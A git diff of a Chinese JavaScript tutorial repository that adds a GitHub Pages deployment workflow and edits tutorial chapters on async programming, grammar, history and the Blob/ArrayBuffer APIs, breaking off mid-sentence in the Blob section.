diff --git a/.github/workflows/wangdoc.yml b/.github/workflows/wangdoc.yml new file mode 100644 index 0000000..c3e5cbe --- /dev/null +++ b/.github/workflows/wangdoc.yml @@ -0,0 +1,36 @@ +name: JavaScript tutorial CI +on: + push: + branches: + - master + +jobs: + page-generator: + name: Generating pages + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + persist-credentials: false + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: 'latest' + - name: Install dependencies + run: npm install + - name: Build pages + run: npm run build + - name: Deploy to website + uses: JamesIves/github-pages-deploy-action@v4 + with: + git-config-name: wangdoc-bot + git-config-email: yifeng.ruan@gmail.com + repository-name: wangdoc/website + token: ${{ secrets.WANGDOC_BOT_TOKEN }} + branch: master # The branch the action should deploy to. + folder: dist # The folder the action should deploy. + target-folder: dist/javascript + clean: true # Automatically remove deleted files from the deploy branch + commit-message: update from JavaScript tutorial + diff --git a/.gitignore b/.gitignore index 744d17c..01a7204 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,4 @@ node_modules/ dist/ -package-lock.json npm-debug.log +package-lock.json diff --git a/.travis.yml b/.travis.yml.bak similarity index 60% rename from .travis.yml rename to .travis.yml.bak index ead9a81..3ad5ed5 100644 --- a/.travis.yml +++ b/.travis.yml.bak @@ -1,11 +1,18 @@ language: node_js node_js: -- '8' +- 'node' branches: only: - master +install: +- npm ci +# keep the npm cache around to speed up installs +cache: + directories: + - "$HOME/.npm" + script: bash ./deploy.sh env: global: diff --git a/README.md b/README.md index 193c114..b3f09b2 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,8 @@ -本教程全面介绍 JavaScript 核心语法,从最简单的开始讲起,循序渐进、由浅入深,力求清晰易懂。所有章节都带有大量的代码实例,便于理解和模仿,可以用到实际项目中,即学即用。 +本教程全面介绍 JavaScript 核心语法,覆盖了 ES5 和 DOM 规范的所有内容。 + +内容上从最简单的讲起,循序渐进、由浅入深,力求清晰易懂。所有章节都带有大量的代码实例,便于理解和模仿,可以用到实际项目中,即学即用。 + +本教程适合初学者当作 JavaScript 语言入门教程,学完后就可以承担实际的网页开发工作,也适合当作日常使用的参考手册。 + +JavaScript 后续新增的 ES6 语法,请看[《ES6 标准入门教程》](https://wangdoc.com/es6/)。 -本教程适合初学者当作 JavaScript 语言的入门教程,也适合当作日常使用的参考手册。 diff --git a/docs/async/general.md b/docs/async/general.md index 022f8c8..a745bfe 100644 --- a/docs/async/general.md +++ b/docs/async/general.md @@ -12,7 +12,7 @@ JavaScript 之所以采用单线程,而不是多线程,跟历史有关系。 如果排队是因为计算量大,CPU 忙不过来,倒也算了,但是很多时候 CPU 是闲着的,因为 IO 操作(输入输出)很慢(比如 Ajax 操作从网络读取数据),不得不等着结果出来,再往下执行。JavaScript 语言的设计者意识到,这时 CPU 完全可以不管 IO 操作,挂起处于等待中的任务,先运行排在后面的任务。等到 IO 操作返回了结果,再回过头,把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“事件循环”机制(Event Loop)。 -单线程模型虽然对 JavaScript 构成了很大的限制,但也因此使它具备了其他语言不具备的优势。如果用得好,JavaScript 程序是不会出现堵塞的,这就是为什么 Node 可以用很少的资源,应付大流量访问的原因。 +单线程模型虽然对 JavaScript 构成了很大的限制,但也因此使它具备了其他语言不具备的优势。如果用得好,JavaScript 程序是不会出现堵塞的,这就是 Node.js 可以用很少的资源,应付大流量访问的原因。 为了利用多核 CPU 的计算能力,HTML5 提出 Web Worker 标准,允许 JavaScript 脚本创建多个线程,但是子线程完全受主线程控制,且不得操作 DOM。所以,这个新标准并没有改变 JavaScript 单线程的本质。 @@ -22,7 +22,7 @@ JavaScript 之所以采用单线程,而不是多线程,跟历史有关系。 同步任务是那些没有被引擎挂起、在主线程上排队执行的任务。只有前一个任务执行完毕,才能执行后一个任务。 -异步任务是那些被引擎放在一边,不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了(比如 Ajax 操作从服务器得到了结果),该任务(采用回调函数的形式)才会进入主线程执行。排在异步任务后面的代码,不用等待异步任务结束会马上运行,也就是说,异步任务不具有”堵塞“效应。 +异步任务是那些被引擎放在一边,不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了(比如 Ajax 操作从服务器得到了结果),该任务(采用回调函数的形式)才会进入主线程执行。排在异步任务后面的代码,不用等待异步任务结束会马上运行,也就是说,异步任务不具有“堵塞”效应。 举例来说,Ajax 操作可以当作同步任务处理,也可以当作异步任务处理,由开发者决定。如果是同步任务,主线程就等着 Ajax 操作返回结果,再往下执行;如果是异步任务,主线程在发出 Ajax 请求以后,就直接往下执行,等到 Ajax 操作有了结果,主线程再执行对应的回调函数。 @@ -101,11 +101,11 @@ function f1() { 上面代码中,`f1.trigger('done')`表示,执行完成后,立即触发`done`事件,从而开始执行`f2`。 -这种方法的优点是比较容易理解,可以绑定多个事件,每个事件可以指定多个回调函数,而且可以”[去耦合](http://en.wikipedia.org/wiki/Decoupling)“(decoupling),有利于实现模块化。缺点是整个程序都要变成事件驱动型,运行流程会变得很不清晰。阅读代码的时候,很难看出主流程。 +这种方法的优点是比较容易理解,可以绑定多个事件,每个事件可以指定多个回调函数,而且可以“[去耦合](http://en.wikipedia.org/wiki/Decoupling)”(decoupling),有利于实现模块化。缺点是整个程序都要变成事件驱动型,运行流程会变得很不清晰。阅读代码的时候,很难看出主流程。 ### 发布/订阅 -事件完全可以理解成”信号“,如果存在一个”信号中心“,某个任务执行完成,就向信号中心”发布“(publish)一个信号,其他任务可以向信号中心”订阅“(subscribe)这个信号,从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”(publish-subscribe pattern),又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”(observer pattern)。 +事件完全可以理解成“信号”,如果存在一个“信号中心”,某个任务执行完成,就向信号中心“发布”(publish)一个信号,其他任务可以向信号中心“订阅”(subscribe)这个信号,从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”(publish-subscribe pattern),又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”(observer pattern)。 这个模式有多种[实现](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx),下面采用的是 Ben Alman 的 [Tiny Pub/Sub](https://gist.github.com/661855),这是 jQuery 的一个插件。 @@ -156,17 +156,24 @@ function final(value) { console.log('完成: ', value); } -async(1, function(value){ - async(value, function(value){ - async(value, function(value){ - async(value, function(value){ - async(value, function(value){ - async(value, final); +async(1, function (value) { + async(2, function (value) { + async(3, function (value) { + async(4, function (value) { + async(5, function (value) { + async(6, final); }); }); }); }); }); +// 参数为 1 , 1秒后返回结果 +// 参数为 2 , 1秒后返回结果 +// 参数为 3 , 1秒后返回结果 +// 参数为 4 , 1秒后返回结果 +// 参数为 5 , 1秒后返回结果 +// 参数为 6 , 1秒后返回结果 +// 完成: 12 ``` 上面代码中,六个回调函数的嵌套,不仅写起来麻烦,容易出错,而且难以维护。 @@ -264,7 +271,7 @@ function launcher() { running--; if(items.length > 0) { launcher(); - } else if(running == 0) { + } else if(running === 0) { final(results); } }); @@ -278,4 +285,3 @@ launcher(); 上面代码中,最多只能同时运行两个异步任务。变量`running`记录当前正在运行的任务数,只要低于门槛值,就再启动一个新的任务,如果等于`0`,就表示所有任务都执行完了,这时就执行`final`函数。 这段代码需要三秒完成整个脚本,处在串行执行和并行执行之间。通过调节`limit`变量,达到效率和资源的最佳平衡。 - diff --git a/docs/async/promise.md b/docs/async/promise.md index fe69b28..cb629d7 100644 --- a/docs/async/promise.md +++ b/docs/async/promise.md @@ -114,7 +114,7 @@ timeout(100) Promise 实例的`then`方法,用来添加回调函数。 -`then`方法可以接受两个回调函数,第一个是异步操作成功时(变为`fulfilled`状态)时的回调函数,第二个是异步操作失败(变为`rejected`)时的回调函数(该参数可以省略)。一旦状态改变,就调用相应的回调函数。 +`then`方法可以接受两个回调函数,第一个是异步操作成功时(变为`fulfilled`状态)的回调函数,第二个是异步操作失败(变为`rejected`)时的回调函数(该参数可以省略)。一旦状态改变,就调用相应的回调函数。 ```javascript var p1 = new Promise(function (resolve, reject) { @@ -217,7 +217,9 @@ var preloadImage = function (path) { }; ``` -上面的`preloadImage`函数用法如下。 +上面代码中,`image`是一个图片对象的实例。它有两个事件监听属性,`onload`属性在图片加载成功后调用,`onerror`属性在加载失败调用。 + +上面的`preloadImage()`函数用法如下。 ```javascript preloadImage('https://example.com/my.jpg') @@ -225,6 +227,8 @@ preloadImage('https://example.com/my.jpg') .then(function () { console.log('加载成功') }) ``` +上面代码中,图片加载成功以后,`onload`属性会返回一个事件对象,因此第一个`then()`方法的回调函数,会接收到这个事件对象。该对象的`target`属性就是图片加载后生成的 DOM 节点。 + ## 小结 Promise 的优点在于,让回调函数变成了规范的链式写法,程序流程可以看得很清楚。它有一整套接口,可以实现许多强大的功能,比如同时执行多个异步操作,等到它们的状态都改变以后,再执行一个回调函数;再比如,为多个回调函数中抛出的错误,统一指定处理方法等等。 @@ -270,7 +274,7 @@ console.log(3); ## 参考链接 -- Sebastian Porto, [Asynchronous JS: Callbacks, Listeners, Control Flow Libs and Promises](http://sporto.github.com/blog/2012/12/09/callbacks-listeners-promises/) +- Sebastian Porto, [Asynchronous JS: Callbacks, Listeners, Control Flow Libs and Promises](https://sporto.github.io/blog/2012/12/09/callbacks-listeners-promises/) - Rhys Brett-Bowen, [Promises/A+ - understanding the spec through implementation](http://modernjavascript.blogspot.com/2013/08/promisesa-understanding-by-doing.html) - Matt Podwysocki, Amanda Silver, [Asynchronous Programming in JavaScript with “Promises”](http://blogs.msdn.com/b/ie/archive/2011/09/11/asynchronous-programming-in-javascript-with-promises.aspx) - Marc Harter, [Promise A+ Implementation](https://gist.github.com//wavded/5692344) diff --git a/docs/async/timer.md b/docs/async/timer.md index a339f8d..3aa4ae9 100644 --- a/docs/async/timer.md +++ b/docs/async/timer.md @@ -190,6 +190,7 @@ setTimeout(f, 1000) // 12 ```javascript (function() { + // 每轮事件循环检查一次 var gid = setInterval(clearAllTimeouts, 0); function clearAllTimeouts() { @@ -288,6 +289,8 @@ console.log(2); 总之,`setTimeout(f, 0)`这种写法的目的是,尽可能早地执行`f`,但是并不能保证立刻就执行`f`。 +实际上,`setTimeout(f, 0)`不会真的在0毫秒之后运行,不同的浏览器有不同的实现。以 Edge 浏览器为例,会等到4毫秒之后运行。如果电脑正在使用电池供电,会等到16毫秒之后运行;如果网页不在当前 Tab 页,会推迟到1000毫秒(1秒)之后运行。这样是为了节省系统资源。 + ### 应用 `setTimeout(f, 0)`有几个非常重要的用途。它的一大应用是,可以调整事件的发生顺序。比如,网页开发中,某个事件先发生在子元素,然后冒泡到父元素,即子元素的事件回调函数,会早于父元素的事件回调函数触发。如果,想让父元素的事件回调函数先发生,就要用到`setTimeout(f, 0)`。 @@ -361,4 +364,3 @@ timer = setTimeout(func, 0); 上面代码有两种写法,都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”,因为 JavaScript 执行速度远高于 DOM,会造成大量 DOM 操作“堆积”,而写法二就不会,这就是`setTimeout(f, 0)`的好处。 另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大,一次性处理,可能会对性能造成很大的压力,那么将其分成一个个小块,一次处理一块,比如写成`setTimeout(highlightNext, 50)`的样子,性能压力就会减轻。 - diff --git a/docs/basic/grammar.md b/docs/basic/grammar.md index 52e329e..b0dea02 100644 --- a/docs/basic/grammar.md +++ b/docs/basic/grammar.md @@ -20,7 +20,7 @@ var a = 1 + 3; var a = 1 + 3 ; var b = 'abc'; ``` -分号前面可以没有任何内容,JavaScript引擎将其视为空语句。 +分号前面可以没有任何内容,JavaScript 引擎将其视为空语句。 ```javascript ;;; @@ -58,7 +58,7 @@ var a; a = 1; ``` -如果只是声明变量而没有赋值,则该变量的值是`undefined`。`undefined`是一个 JavaScript 关键字,表示“无定义”。 +如果只是声明变量而没有赋值,则该变量的值是`undefined`。`undefined`是一个特殊的值,表示“无定义”。 ```javascript var a; @@ -177,11 +177,11 @@ a+b // 标识符不能包含加号 var 临时变量 = 1; ``` -> JavaScript有一些保留字,不能用作标识符:arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。 +> JavaScript 有一些保留字,不能用作标识符:arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。 ## 注释 -源码中被 JavaScript 引擎忽略的部分就叫做注释,它的作用是对代码进行解释。Javascript 提供两种注释的写法:一种是单行注释,用`//`起头;另一种是多行注释,放在`/*`和`*/`之间。 +源码中被 JavaScript 引擎忽略的部分就叫做注释,它的作用是对代码进行解释。JavaScript 提供两种注释的写法:一种是单行注释,用`//`起头;另一种是多行注释,放在`/*`和`*/`之间。 ```javascript // 这是单行注释 @@ -238,7 +238,7 @@ JavaScript 提供`if`结构和`switch`结构,完成条件判断,即只有满 ### if 结构 -`if`结构先判断一个表达式的布尔值,然后根据布尔值的真伪,执行不同的语句。所谓布尔值,指的是 JavaScript 的两个特殊值,`true`表示真,`false`表示`伪`。 +`if`结构先判断一个表达式的布尔值,然后根据布尔值的真伪,执行不同的语句。所谓布尔值,指的是 JavaScript 的两个特殊值,`true`表示“真”,`false`表示“伪”。 ```javascript if (布尔值) @@ -333,7 +333,7 @@ else console.log('world'); ```javascript if (m !== 1) { if (n === 2) { - console.log('hello'); + console.log('hello'); } else { console.log('world'); } @@ -345,7 +345,7 @@ if (m !== 1) { ```javascript if (m !== 1) { if (n === 2) { - console.log('hello'); + console.log('hello'); } } else { console.log('world'); @@ -425,6 +425,7 @@ var x = 1; switch (x) { case true: console.log('x 发生类型转换'); + break; default: console.log('x 没有发生类型转换'); } @@ -435,7 +436,7 @@ switch (x) { ### 三元运算符 ?: -JavaScript还有一个三元运算符(即该运算符需要三个运算子)`?:`,也可以用于逻辑判断。 +JavaScript 还有一个三元运算符(即该运算符需要三个运算子)`?:`,也可以用于逻辑判断。 ```javascript (条件) ? 表达式1 : 表达式2 @@ -484,7 +485,7 @@ var msg = '数字' + n + '是' + (n % 2 === 0 ? '偶数' : '奇数'); ### while 循环 -`While`语句包括一个循环条件和一段代码块,只要条件为真,就不断循环执行代码块。 +`while`语句包括一个循环条件和一段代码块,只要条件为真,就不断循环执行代码块。 ```javascript while (条件) @@ -726,5 +727,4 @@ top: ## 参考链接 -- Axel Rauschmayer, [A quick overview of JavaScript](http://www.2ality.com/2011/10/javascript-overview.html) - +- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://2ality.com/2013/06/basic-javascript.html) diff --git a/docs/basic/history.md b/docs/basic/history.md index 4f782cd..f5c266b 100644 --- a/docs/basic/history.md +++ b/docs/basic/history.md @@ -51,7 +51,7 @@ JavaScript 语言的函数是一种独立的数据类型,以及采用基于原 ## JavaScript 与 ECMAScript 的关系 -1996年8月,微软模仿 JavaScript 开发了一种相近的语言,取名为JScript(JavaScript是Netscape的注册商标,微软不能用),首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。 +1996年8月,微软模仿 JavaScript 开发了一种相近的语言,取名为JScript(JavaScript 是 Netscape 的注册商标,微软不能用),首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。 1996年11月,Netscape 公司决定将 JavaScript 提交给国际标准化组织 ECMA(European Computer Manufacturers Association),希望 JavaScript 能够成为国际标准,以此抵抗微软。ECMA 的39号技术委员会(Technical Committee 39)负责制定和审核这个标准,成员由业内的大公司派出的工程师组成,目前共25个人。该委员会定期开会,所有的邮件讨论和会议记录,都是公开的。 @@ -61,7 +61,7 @@ ECMAScript 只用来标准化 JavaScript 这种语言的基本语法结构,与 ECMA-262 标准后来也被另一个国际标准化组织 ISO(International Organization for Standardization)批准,标准号是 ISO-16262。 -## JavaScript的版本 +## JavaScript 的版本 1997年7月,ECMAScript 1.0发布。 @@ -75,13 +75,13 @@ ECMA-262 标准后来也被另一个国际标准化组织 ISO(International Or 2009年12月,ECMAScript 5.0版 正式发布。Harmony 项目则一分为二,一些较为可行的设想定名为 JavaScript.next 继续开发,后来演变成 ECMAScript 6;一些不是很成熟的设想,则被视为 JavaScript.next.next,在更远的将来再考虑推出。TC39 的总体考虑是,ECMAScript 5 与 ECMAScript 3 基本保持兼容,较大的语法修正和新功能加入,将由 JavaScript.next 完成。当时,JavaScript.next 指的是ECMAScript 6。第六版发布以后,将指 ECMAScript 7。TC39 预计,ECMAScript 5 会在2013年的年中成为 JavaScript 开发的主流标准,并在此后五年中一直保持这个位置。 -2011年6月,ECMAscript 5.1版发布,并且成为 ISO 国际标准(ISO/IEC 16262:2011)。到了2012年底,所有主要浏览器都支持 ECMAScript 5.1版的全部功能。 +2011年6月,ECMAScript 5.1版发布,并且成为 ISO 国际标准(ISO/IEC 16262:2011)。到了2012年底,所有主要浏览器都支持 ECMAScript 5.1版的全部功能。 2013年3月,ECMAScript 6 草案冻结,不再添加新功能。新的功能设想将被放到 ECMAScript 7。 2013年12月,ECMAScript 6 草案发布。然后是12个月的讨论期,听取各方反馈。 -2015年6月,ECMAScript 6 正式发布,并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划,以后每年发布一个 ECMAScript 的版本,下一个版本在2016年发布,称为”ECMAScript 2016”,2017年发布“ECMAScript 2017”,以此类推。 +2015年6月,ECMAScript 6 正式发布,并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划,以后每年发布一个 ECMAScript 的版本,下一个版本在2016年发布,称为“ECMAScript 2016”,2017年发布“ECMAScript 2017”,以此类推。 ## 周边大事记 @@ -125,13 +125,13 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快 2007年,Webkit 引擎在 iPhone 手机中得到部署。它最初基于 KDE 项目,2003年苹果公司首先采用,2005年开源。这标志着 JavaScript 语言开始能在手机中使用了,意味着有可能写出在桌面电脑和手机中都能使用的程序。 -2007年,Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲,次年由 O'Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言,对它的语法开始重新认识, +2007年,Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲,次年由 O'Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言,对它的语法开始重新认识。 2008年,V8 编译器诞生。这是 Google 公司为 Chrome 浏览器而开发的,它的特点是让 JavaScript 的运行变得非常快。它提高了 JavaScript 的性能,推动了语法的改进和标准化,改变外界对 JavaScript 的不佳印象。同时,V8 是开源的,任何人想要一种快速的嵌入式脚本语言,都可以采用 V8,这拓展了 JavaScript 的应用领域。 2009年,Node.js 项目诞生,创始人为 Ryan Dahl,它标志着 JavaScript 可以用于服务器端编程,从此网站的前端和后端可以使用同一种语言开发。并且,Node.js 可以承受很大的并发流量,使得开发某些互联网大规模的实时应用变得容易。 -2009年,Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行,但是语法要比 JavaScript简洁。这开启了其他语言转为 JavaScript 的风潮。 +2009年,Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行,但是语法要比 JavaScript 简洁。这开启了其他语言转为 JavaScript 的风潮。 2009年,PhoneGap 项目诞生,它将 HTML5 和 JavaScript 引入移动设备的应用程序开发,主要针对 iOS 和 Android 平台,使得 JavaScript 可以用于跨平台的应用程序开发。 @@ -169,7 +169,7 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快 2015年5月,Google 公司的 Polymer 框架发布1.0版。该项目的目标是生产环境可以使用 WebComponent 组件,如果能够达到目标,Web 开发将进入一个全新的以组件为开发基础的阶段。 -2015年6月,ECMA 标准化组织正式批准了 ECMAScript 6 语言标准,定名为《ECMAScript 2015 标准》。JavaScript语言正式进入了下一个阶段,成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准,历时10年,而 JavaScript 语言从诞生至今也已经20年了。 +2015年6月,ECMA 标准化组织正式批准了 ECMAScript 6 语言标准,定名为《ECMAScript 2015 标准》。JavaScript 语言正式进入了下一个阶段,成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准,历时10年,而 JavaScript 语言从诞生至今也已经20年了。 2015年6月,Mozilla 在 asm.js 的基础上发布 WebAssembly 项目。这是一种 JavaScript 引擎的中间码格式,全部都是二进制,类似于 Java 的字节码,有利于移动设备加载 JavaScript 脚本,执行速度提高了 20+ 倍。这意味着将来的软件,会发布 JavaScript 二进制包。 @@ -181,8 +181,7 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快 ## 参考链接 -- Axel Rauschmayer, [The Past, Present, and Future of JavaScript](http://oreilly.com/javascript/radarreports/past-present-future-javascript.csp) +- Axel Rauschmayer, [The Past, Present, and Future of JavaScript](https://www.oreilly.com/library/view/the-past-present/9781449343545/) - John Dalziel, [The race for speed part 4: The future for JavaScript](http://creativejs.com/2013/06/the-race-for-speed-part-4-the-future-for-javascript/) -- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](http://www.2ality.com/2013/06/basic-javascript.html) -- resin.io, [Happy 18th Birthday JavaScript! A look at an unlikely past and bright future](http://resin.io/happy-18th-birthday-javascript/) - +- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://www.2ality.com/2013/06/basic-javascript.html) +- balena.io, [Happy 18th Birthday JavaScript! A look at an unlikely past and bright future](https://www.balena.io/blog/happy-18th-birthday-javascript/) diff --git a/docs/basic/introduction.md b/docs/basic/introduction.md index 0bdb9a1..f6d5173 100644 --- a/docs/basic/introduction.md +++ b/docs/basic/introduction.md @@ -69,11 +69,11 @@ Mozilla 基金会的手机操作系统 Firefox OS,更是直接将 JavaScript **(6)跨平台的桌面应用程序** -Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 [Chrome App 项目](http://developer.chrome.com/apps/about_apps)、Github 的 [Electron 项目](http://electron.atom.io/)、以及 [TideSDK 项目](http://tidesdk.multipart.net/docs/user-dev/generated/),都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序,不依赖浏览器。 +Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 [Chrome App 项目](http://developer.chrome.com/apps/about_apps)、GitHub 的 [Electron 项目](http://electron.atom.io/)、以及 [TideSDK 项目](http://tidesdk.multipart.net/docs/user-dev/generated/),都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序,不依赖浏览器。 **(7)小结** -可以预期,JavaScript 最终将能让你只用一种语言,就开发出适应不同平台(包括桌面端、服务器端、手机端)的程序。早在2013年9月的[统计](http://adambard.com/blog/top-github-languages-for-2013-so-far/)之中,JavaScript 就是当年 Github 上使用量排名第一的语言。 +可以预期,JavaScript 最终将能让你只用一种语言,就开发出适应不同平台(包括桌面端、服务器端、手机端)的程序。早在2013年9月的[统计](http://adambard.com/blog/top-github-languages-for-2013-so-far/)之中,JavaScript 就是当年 GitHub 上使用量排名第一的语言。 著名程序员 Jeff Atwood 甚至提出了一条 [“Atwood 定律”](http://www.codinghorror.com/blog/2007/07/the-principle-of-least-power.html): @@ -162,4 +162,3 @@ function greetMe(yourName) { greetMe('World') // Hello World ``` - diff --git a/docs/bom/arraybuffer.md b/docs/bom/arraybuffer.md index acd35ac..89a5ddd 100644 --- a/docs/bom/arraybuffer.md +++ b/docs/bom/arraybuffer.md @@ -2,7 +2,7 @@ ## ArrayBuffer 对象 -ArrayBuffer 对象表示一段二进制数据,用来模拟内存里面的数据。通过这个对象,JavaScript 可以读写二进制数据。 +ArrayBuffer 对象表示一段二进制数据,用来模拟内存里面的数据。通过这个对象,JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。 这个对象是 ES6 才写入标准的,普通的网页编程用不到它,为了教程体系的完整,下面只提供一个简略的介绍,详细介绍请看《ES6 标准入门》里面的章节。 @@ -14,12 +14,11 @@ var buffer = new ArrayBuffer(8); 上面代码中,实例对象`buffer`占用8个字节。 -ArrayBuffer 对象有实例属性`length`和`byteLength`,都表示当前实例占用的内存长度(单位字节)。 +ArrayBuffer 对象有实例属性`byteLength`,表示当前实例占用的内存长度(单位字节)。 ```javascript var buffer = new ArrayBuffer(8); -buffer.length // 8 -buffer.length // 8 +buffer.byteLength // 8 ``` ArrayBuffer 对象有实例方法`slice()`,用来复制一部分内存。它接受两个整数参数,分别表示复制的开始位置(从0开始)和结束位置(复制时不包括结束位置),如果省略第二个参数,则表示一直复制到结束。 @@ -33,7 +32,9 @@ var buf2 = buf1.slice(0); ## Blob 对象 -Blob 对象表示一个二进制文件的数据内容,比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件。 +### 简介 + +Blob 对象表示一个二进制文件的数据内容,比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件,它的名字是 Binary Large Object (二进制大型对象)的缩写。它与 ArrayBuffer 的区别在于,它用于操作二进制文件,而 ArrayBuffer 用于操作内存。 浏览器原生提供`Blob()`构造函数,用来生成实例对象。 @@ -57,6 +58,8 @@ var obj = { hello: 'world' }; var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'}); ``` +### 实例属性和实例方法 + `Blob`具有两个实例属性`size`和`type`,分别返回数据的大小和类型。 ```javascript @@ -70,8 +73,141 @@ myBlob.type // "text/html" `Blob`具有一个实例方法`slice`,用来拷贝原来的数据,返回的也是一个`Blob`实例。 ```javascript -myBlob.slice(start,end, contentType) +myBlob.slice(start, end, contentType) ``` `slice`方法有三个参数,都是可选的。它们依次是起始的字节位置(默认为0)、结束的字节位置(默认为`size`属性的值,该位置本身将不包含在拷贝的数据之中)、新实例的数据类型(默认为空字符串)。 +### 获取文件信息 + +文件选择器``用来让用户选取文件。出于安全考虑,浏览器不允许脚本自行设置这个控件的`value`属性,即文件必须是用户手动选取的,不能是脚本指定的。一旦用户选好了文件,脚本就可以读取这个文件。 + +文件选择器返回一个 FileList 对象,该对象是一个类似数组的成员,每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例,增加了`name`和`lastModifiedDate`属性。 + +```javascript +// HTML 代码如下 +// + +function fileinfo(files) { + for (var i = 0; i < files.length; i++) { + var f = files[i]; + console.log( + f.name, // 文件名,不含路径 + f.size, // 文件大小,Blob 实例属性 + f.type, // 文件类型,Blob 实例属性 + f.lastModifiedDate // 文件的最后修改时间 + ); + } +} +``` + +除了文件选择器,拖放 API 的`dataTransfer.files`返回的也是一个FileList 对象,它的成员因此也是 File 实例对象。 + +### 下载文件 + +AJAX 请求时,如果指定`responseType`属性为`blob`,下载下来的就是一个 Blob 对象。 + +```javascript +function getBlob(url, callback) { + var xhr = new XMLHttpRequest(); + xhr.open('GET', url); + xhr.responseType = 'blob'; + xhr.onload = function () { + callback(xhr.response); + } + xhr.send(null); +} +``` + +上面代码中,`xhr.response`拿到的就是一个 Blob 对象。 + +### 生成 URL + +浏览器允许使用`URL.createObjectURL()`方法,针对 Blob 对象生成一个临时 URL,以便于某些 API 使用。这个 URL 以`blob://`开头,表明对应一个 Blob 对象,协议头后面是一个识别符,用来唯一对应内存里面的 Blob 对象。这一点与`data://URL`(URL 包含实际数据)和`file://URL`(本地文件系统里面的文件)都不一样。 + +```javascript +var droptarget = document.getElementById('droptarget'); + +droptarget.ondrop = function (e) { + var files = e.dataTransfer.files; + for (var i = 0; i < files.length; i++) { + var type = files[i].type; + if (type.substring(0,6) !== 'image/') + continue; + var img = document.createElement('img'); + img.src = URL.createObjectURL(files[i]); + img.onload = function () { + this.width = 100; + document.body.appendChild(this); + URL.revokeObjectURL(this.src); + } + } +} +``` + +上面代码通过为拖放的图片文件生成一个 URL,产生它们的缩略图,从而使得用户可以预览选择的文件。 + +浏览器处理 Blob URL 就跟普通的 URL 一样,如果 Blob 对象不存在,返回404状态码;如果跨域请求,返回403状态码。Blob URL 只对 GET 请求有效,如果请求成功,返回200状态码。由于 Blob URL 就是普通 URL,因此可以下载。 + +### 读取文件 + +取得 Blob 